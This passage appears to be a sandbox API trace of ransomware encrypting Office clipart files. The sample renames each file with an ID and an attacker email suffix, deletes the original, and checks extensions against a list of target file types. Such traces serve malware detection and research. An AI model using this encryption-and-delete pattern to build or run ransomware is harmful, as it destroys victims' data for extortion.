dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0191.160] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=2280) returned 1 [0191.160] CloseHandle (hObject=0x520) returned 1 [0191.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 0x220 [0191.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0191.161] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.161] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0191.162] GetLastError () returned 0x0 [0191.162] ReadFile (in: hFile=0x520, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x8e8, lpOverlapped=0x0) returned 1 [0191.163] WriteFile (in: hFile=0x544, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x8f0, lpOverlapped=0x0) returned 1 [0191.164] ReadFile (in: hFile=0x520, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.164] WriteFile (in: hFile=0x544, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0191.165] SetEndOfFile (hFile=0x544) returned 1 [0191.165] CloseHandle (hObject=0x544) returned 1 [0191.165] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.165] SetEndOfFile (hFile=0x520) returned 1 [0191.167] CloseHandle (hObject=0x520) returned 1 [0191.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.168] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0191.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0191.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0191.169] lstrlenW (lpString=".doc") returned 4 [0191.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.169] lstrlenW (lpString=".docx") returned 5 [0191.169] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.169] lstrlenW (lpString=".pdf") returned 4 [0191.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.169] lstrlenW (lpString=".xls") returned 4 [0191.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.169] lstrlenW (lpString=".xlsx") returned 5 [0191.169] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.169] lstrlenW (lpString=".ppt") returned 4 [0191.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0191.169] lstrlenW (lpString=".zip") returned 4 [0191.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.169] lstrlenW (lpString=".rar") returned 4 [0191.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.169] lstrlenW (lpString=".bz2") returned 4 [0191.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.169] lstrlenW (lpString=".7z") returned 3 [0191.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0191.169] lstrlenW (lpString=".dbf") returned 4 [0191.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0191.170] lstrlenW (lpString=".1cd") returned 4 [0191.170] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0191.170] lstrlenW (lpString=".jpg") returned 4 [0191.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0191.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0191.170] lstrlenW (lpString=".doc") returned 4 [0191.170] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.170] lstrlenW (lpString=".docx") returned 5 [0191.170] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.170] lstrlenW (lpString=".pdf") returned 4 [0191.170] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.170] lstrlenW (lpString=".xls") returned 4 [0191.170] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.170] lstrlenW (lpString=".xlsx") returned 5 [0191.170] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.170] lstrlenW (lpString=".ppt") returned 4 [0191.170] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0191.170] lstrlenW (lpString=".zip") returned 4 [0191.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.170] lstrlenW (lpString=".rar") returned 4 [0191.170] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.170] lstrlenW (lpString=".bz2") returned 4 [0191.171] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.171] lstrlenW (lpString=".7z") returned 3 [0191.171] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0191.171] lstrlenW (lpString=".dbf") returned 4 [0191.171] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0191.171] lstrlenW (lpString=".1cd") returned 4 [0191.171] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0191.171] lstrlenW (lpString=".jpg") returned 4 [0191.171] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.171] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0191.171] lstrlenW (lpString="EN00320_.WMF") returned 12 [0191.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0191.172] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=736) returned 1 [0191.172] CloseHandle (hObject=0x520) returned 1 [0191.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 0x220 [0191.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0191.173] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.173] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0191.174] GetLastError () returned 0x0 [0191.174] ReadFile (in: hFile=0x520, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x2e0, lpOverlapped=0x0) returned 1 [0191.175] WriteFile (in: hFile=0x544, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x2f0, lpOverlapped=0x0) returned 1 [0191.176] ReadFile (in: hFile=0x520, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.176] WriteFile (in: hFile=0x544, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0191.176] SetEndOfFile (hFile=0x544) returned 1 [0191.176] CloseHandle (hObject=0x544) returned 1 [0191.176] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.176] SetEndOfFile (hFile=0x520) returned 1 [0191.179] CloseHandle (hObject=0x520) returned 1 [0191.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0191.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0191.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0191.181] lstrlenW (lpString=".doc") returned 4 [0191.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.181] lstrlenW (lpString=".docx") returned 5 [0191.181] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.181] lstrlenW (lpString=".pdf") returned 4 [0191.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.181] lstrlenW (lpString=".xls") returned 4 [0191.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.181] lstrlenW (lpString=".xlsx") returned 5 [0191.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.182] lstrlenW (lpString=".ppt") returned 4 [0191.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0191.182] lstrlenW (lpString=".zip") returned 4 [0191.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.182] lstrlenW (lpString=".rar") returned 4 [0191.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.182] lstrlenW (lpString=".bz2") returned 4 [0191.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.182] lstrlenW (lpString=".7z") returned 3 [0191.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0191.182] lstrlenW (lpString=".dbf") returned 4 [0191.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0191.182] lstrlenW (lpString=".1cd") returned 4 [0191.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0191.182] lstrlenW (lpString=".jpg") returned 4 [0191.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0191.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0191.182] lstrlenW (lpString=".doc") returned 4 [0191.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.183] lstrlenW (lpString=".docx") returned 5 [0191.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.183] lstrlenW (lpString=".pdf") returned 4 [0191.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.183] lstrlenW (lpString=".xls") returned 4 [0191.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.183] lstrlenW (lpString=".xlsx") returned 5 [0191.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.183] lstrlenW (lpString=".ppt") returned 4 [0191.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0191.183] lstrlenW (lpString=".zip") returned 4 [0191.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.183] lstrlenW (lpString=".rar") returned 4 [0191.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.183] lstrlenW (lpString=".bz2") returned 4 [0191.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.183] lstrlenW (lpString=".7z") returned 3 [0191.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0191.415] lstrlenW (lpString=".dbf") returned 4 [0191.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0191.415] lstrlenW (lpString=".1cd") returned 4 [0191.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0191.415] lstrlenW (lpString=".jpg") returned 4 [0191.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.415] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0191.415] lstrlenW (lpString="FD00077_.WMF") returned 12 [0191.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0192.025] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=30240) returned 1 [0192.025] CloseHandle (hObject=0x4d4) returned 1 [0192.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x220 [0192.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0193.145] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.145] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0193.146] GetLastError () returned 0x0 [0193.146] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x7620, lpOverlapped=0x0) returned 1 [0193.148] WriteFile (in: hFile=0x518, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x7630, lpOverlapped=0x0) returned 1 [0193.150] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.150] WriteFile (in: hFile=0x518, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0193.150] SetEndOfFile (hFile=0x518) returned 1 [0193.150] CloseHandle (hObject=0x518) returned 1 [0193.150] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.150] SetEndOfFile (hFile=0x4d8) returned 1 [0193.153] CloseHandle (hObject=0x4d8) returned 1 [0193.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.154] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0193.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0193.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0193.155] lstrlenW (lpString=".doc") returned 4 [0193.155] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.155] lstrlenW (lpString=".docx") returned 5 [0193.155] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.155] lstrlenW (lpString=".pdf") returned 4 [0193.155] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.155] lstrlenW (lpString=".xls") returned 4 [0193.155] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.155] lstrlenW (lpString=".xlsx") returned 5 [0193.155] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.155] lstrlenW (lpString=".ppt") returned 4 [0193.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0193.155] lstrlenW (lpString=".zip") returned 4 [0193.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.155] lstrlenW (lpString=".rar") returned 4 [0193.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.155] lstrlenW (lpString=".bz2") returned 4 [0193.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.155] lstrlenW (lpString=".7z") returned 3 [0193.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0193.155] lstrlenW (lpString=".dbf") returned 4 [0193.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0193.156] lstrlenW (lpString=".1cd") returned 4 [0193.156] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0193.156] lstrlenW (lpString=".jpg") returned 4 [0193.156] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0193.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0193.156] lstrlenW (lpString=".doc") returned 4 [0193.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.156] lstrlenW (lpString=".docx") returned 5 [0193.156] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.156] lstrlenW (lpString=".pdf") returned 4 [0193.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.156] lstrlenW (lpString=".xls") returned 4 [0193.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.156] lstrlenW (lpString=".xlsx") returned 5 [0193.156] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.156] lstrlenW (lpString=".ppt") returned 4 [0193.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0193.156] lstrlenW (lpString=".zip") returned 4 [0193.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.156] lstrlenW (lpString=".rar") returned 4 [0193.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.156] lstrlenW (lpString=".bz2") returned 4 [0193.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.157] lstrlenW (lpString=".7z") returned 3 [0193.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0193.157] lstrlenW (lpString=".dbf") returned 4 [0193.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0193.157] lstrlenW (lpString=".1cd") returned 4 [0193.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0193.157] lstrlenW (lpString=".jpg") returned 4 [0193.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.157] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0193.157] lstrlenW (lpString="FD00459_.WMF") returned 12 [0193.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0193.158] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=17406) returned 1 [0193.158] CloseHandle (hObject=0x4d8) returned 1 [0193.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x220 [0193.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 